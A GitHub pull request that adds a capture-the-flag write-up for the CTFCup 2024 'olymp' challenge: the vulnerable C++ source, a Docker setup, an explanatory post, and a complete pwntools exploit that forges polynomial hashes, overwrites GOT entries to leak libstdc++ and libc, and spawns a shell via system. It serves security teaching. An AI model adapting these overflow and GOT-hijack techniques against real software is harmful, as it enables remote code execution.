Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

posts/ctfcup2024-olymp add writeup #5

Merged
merged 2 commits into from
Nov 5, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 11 additions & 0 deletions content/blog/ctfcup2024-olymp/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
FROM ubuntu@sha256:8a37d68f4f73ebf3d4efafbcf66379bf3728902a8038616808f04e34a9ab63ee

RUN apt update
RUN apt install -y socat

COPY entrypoint.sh /
RUN chmod +x /entrypoint.sh
COPY a.out /
RUN chmod +x /a.out

CMD ["/entrypoint.sh"]
70 changes: 70 additions & 0 deletions content/blog/ctfcup2024-olymp/a.cc
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
#pragma GCC optimize( \
"O3,Ofast,no-stack-protector,rename-registers,unroll-all-loops,inline-functions,sched-spec")
#include <cstdint>
#include <iostream>
#include <string>
/*#include <string_view>*/

#define MAX_LENGTH 200

using namespace std;

uint64_t prefix[MAX_LENGTH];

string s;

void build_prefix_hashes() {
uint64_t h = 0;
prefix[0] = h;
for (int i = 0; i < s.size(); i++) {
h = h * 31337 + s[i];
prefix[i + 1] = h;
}
}

uint64_t pow64(uint64_t base, uint64_t exp) {
uint64_t res = 1;
while (exp != 0) {
if (exp % 2 == 1) {
res = res * base;
}
base = base * base;
exp /= 2;
}
return res;
}

void test_case() {
cin >> s;
build_prefix_hashes();
int q;
cin >> q;
for (int i = 0; i < q; i++) {
int la, ra;
int lb, rb;
cin >> la;
cin >> ra;
cin >> lb;
cin >> rb;
ra += 1;
rb += 1;
int ha = prefix[la] - prefix[ra] * pow64(31337, ra - la);
int hb = prefix[la] - prefix[ra] * pow64(31337, rb - lb);
if (ha == hb && s.substr(la, ra - la) == s.substr(rb, rb - lb)) {
puts("YES");
} else {
puts("NO");
}
}
}

int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
int q;
cin >> q;

for (int i = 0; i < q; i++) {
test_case();
}
}
Binary file added content/blog/ctfcup2024-olymp/a.out
Binary file not shown.
Binary file added content/blog/ctfcup2024-olymp/compare_memcmp.webp
Binary file not shown.
7 changes: 7 additions & 0 deletions content/blog/ctfcup2024-olymp/entrypoint.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
#!/bin/sh

echo "$FLAG" >/flag-"$(tr -dc 'a-f0-9' </dev/urandom | head -c32)".txt

unset FLAG

socat 'TCP-LISTEN:1717,reuseaddr,fork' 'EXEC:/a.out'
83 changes: 83 additions & 0 deletions content/blog/ctfcup2024-olymp/index.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
---
params:
authors:
- name: falamous
social: https://t.me/falamous
links:
- name: channel
link: https://t.me/theinkyvoid
title: "CTFCup 2024 - olymp"
tldr: "unsolved crypto pwn task from a ctfcup organized by us"
date: "2024-10-31"
tags: [pwn, crypto]
summary: |
An "olymp problem" solution with a simple buffer overflow with some interesting leak techniques, complicated by the fact that we can only overflow a prefix polymial hash.
---

# olymp (ctfup 2024)

While organizing CTFCup 2024, I was running out of time, especially concerning pwn challenges. Then I had an idea - what about an algorithmic pwn challenge? And thus olymp was born. Sadly, no one was able to solve it during the CTF, so I am publishing this writeup.

## Quick summary

The task involves solving a problem where, given a string `s`, we need to answer queries of the form `compare s[a:b] s[c:d]`. The program first inputs the number of test cases. For each test case, it reads a string from `std::cin` into a `std::string` variable in the BSS segment and builds a prefix hash array. It then reads the number of queries from `std::cin` (which becomes important later). For each query, it reads four numbers representing the substring bounds, compares the computed hashes of the substrings, and if the hashes match, performs a direct comparison of the substrings themselves.

## The vuln

The vulnerability is quite easy to spot when reading the source code (which was provided). There is no bound checking on how many prefix hashes we build, meaning we can overflow into the string `s`, where conveniently the first field is the data pointer, allowing us to get arbitrary write (PIE was disabled).

```c++
#define MAX_LENGTH 200

using namespace std;

uint64_t prefix[MAX_LENGTH];

string s;

void build_prefix_hashes() {
uint64_t h = 0;
prefix[0] = h;
for (int i = 0; i < s.size(); i++) {
h = h * 31337 + s[i];
prefix[i + 1] = h;
}
}
```

## Forging a hash

Before we can exploit the overflow, we have to be able to create a string whose polynomial hash equals an arbitrary value `target`. Let's reformulate the problem in terms of lattices. The polynomial hash of string `s` is equal to `P(s) = p^(len(s)-1) * s[0] + p^(len(s)-2) * s[1] + ... + p^0 * s[len(s)-1] mod P`. If we pick the middle of the alphabet `ord('n')`, we want to find the minimal vector satisfying `P(middle * len(v)) - P(v) = 0`. The corresponding lattice is

```python
L = IntegerLattice(
[
[W * Q ** (len(known) - i - 1)]
+ [1 if j == i else 0 for j in range(len(known))]
for i in range(len(known))
]
+ [[W * P] + [0] * len(known)]
)
```

Then we just use `L.approximate_closest_vector` from sage and obtain our string.

## Leaking libstdc++

The easiest thing we can do is overwrite `std::istream::operator>>(int &)` with `puts`. When called with `std::cin` as the first argument, this allows us to leak libstdc++. I initially thought this would be sufficient since libstdc++ typically allocates after libc, but during final testing this turned out not to be the case.

## Leaking libc

Leaking libc is a bit more tricky. First, we need to notice that comparing two substrings actually uses `memcmp`:

![comparing uses memcmp](compare_memcmp.webp)

We can overwrite `memcmp` with `puts` and the rest of the GOT with resolvers. Then we call the comparison on the same indexes (such that the first index corresponds to the `memcmp` GOT entry) twice: the first call resolves puts, and the second call leaks it.

## Running system

Finally, we can use the same `memcmp` trick: overwrite `memcmp` with `system`, overwrite the `setvbuf` GOT entry with `"sh\x00"`, then run the comparison on indexes `0 1`, which internally calls `system("sh\x00")`. You can check the full exploit [here](sploit.py).

## Conclusion

Overall, while I initially thought the challenge was quite easy, it turned out to be quite tricky even after the hash forging technique was fully hinted at.
150 changes: 150 additions & 0 deletions content/blog/ctfcup2024-olymp/sploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,150 @@
from pwn import *
import sage.all
from sage.modules.free_module_integer import IntegerLattice
import os
import sys

Q = 31337
P = 2**64
W = 31337
MIDDLE_LETTER = ord("n")


def poly_hash(a):
if type(a) == str:
a = a.encode()
h = 0
for el in a:
h = (h * Q + el) % P
return h


def string_for_target_hash(target: int, string_len: int = 200) -> bytes:
known = [MIDDLE_LETTER] * string_len
known_hash = poly_hash(known)
L = IntegerLattice(
[
[W * Q ** (len(known) - i - 1)]
+ [1 if j == i else 0 for j in range(len(known))]
for i in range(len(known))
]
+ [[W * P] + [0] * len(known)]
)
vector = L.approximate_closest_vector(
[W * (target - known_hash)] + [0] * len(known)
)
print(vector)
return bytes(k + v for k, v in zip(known, vector[1:]))


setvbuf_plt = 0x404000
memcmp_plt = 0x404008
puts_plt_resolve = 0x4010C6
cin_int_plt = 0x404010
cin_int_offset = 0x132CB0
libc_offset = 0x672870
libstdcpp_offset = 0x272870
libc_offset = 0x87BD0
system_offset = 0x000000000058740
puts_got = 0x4010C0
HOST = sys.argv[1]
PORT = 1717


def main():
# io = process(
# [
# "docker",
# "run",
# "-i",
# "-v",
# f"{os.getcwd()}:/kek",
# "ubuntu@sha256:8a37d68f4f73ebf3d4efafbcf66379bf3728902a8038616808f04e34a9ab63ee",
# "/kek/a.out",
# ]
# )
io = remote(HOST, PORT)

io.sendline(b"10")
io.sendline(b"a")
io.sendline(b"0")
# s = string_for_target_hash(setvbuf_plt)
s = b"nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnmnnnononnomnomnonpmnlnomoonnnonnponnonnmnonn"
print(hex(poly_hash(s)))

io.sendline(s)
io.sendline(b"1")
io.sendline(b"0 1 0 1")
io.readline()
io.sendline((p64(puts_got) * 3)[:-1])
for _ in range(4):
io.readline()
libstdcpp_leak = u64(io.readline()[:-1].ljust(8, b"\x00"))
print("LIBSTDC++ leak", hex(libstdcpp_leak))
libstdcpp_base = libstdcpp_leak - libstdcpp_offset
print("LIBSTDC++ base", hex(libstdcpp_base))
cin_int = libstdcpp_base + cin_int_offset
io.readline()
io.readline()
#
payload = b"".join(
map(
p64,
(
puts_got,
puts_got,
cin_int,
0x401066,
0x401076,
0x401086,
0x401096,
0x4010A6,
0x4010B6,
0x4010C6,
0x4010D6,
0x4010E6,
),
)
)[:-1]
print(len(payload))

pause()
io.sendline(payload)

io.sendline(b"2")
io.sendline(b"72 80 72 80")
io.sendline(b"72 80 72 80")
io.recvline()
io.recvline()
libc_leak = u64(io.readline()[:-1].ljust(8, b"\x00"))
print("LIBC LEAK", hex(libc_leak))
libc_base = libc_leak - libc_offset
print("LIBC BASE", libc_base)
system = libc_base + system_offset
payload = b"".join(
map(
p64,
(
u64(b"sh" + b"\x00" * 6),
system,
cin_int,
0x401066,
0x401076,
0x401086,
0x401096,
0x4010A6,
0x4010B6,
0x4010C6,
0x4010D6,
0x4010E6,
),
)
)[:-1]
io.sendline(payload)
io.sendline(b"1")
io.sendline(b"0 1 0 1")
io.interactive()


if __name__ == "__main__":
main()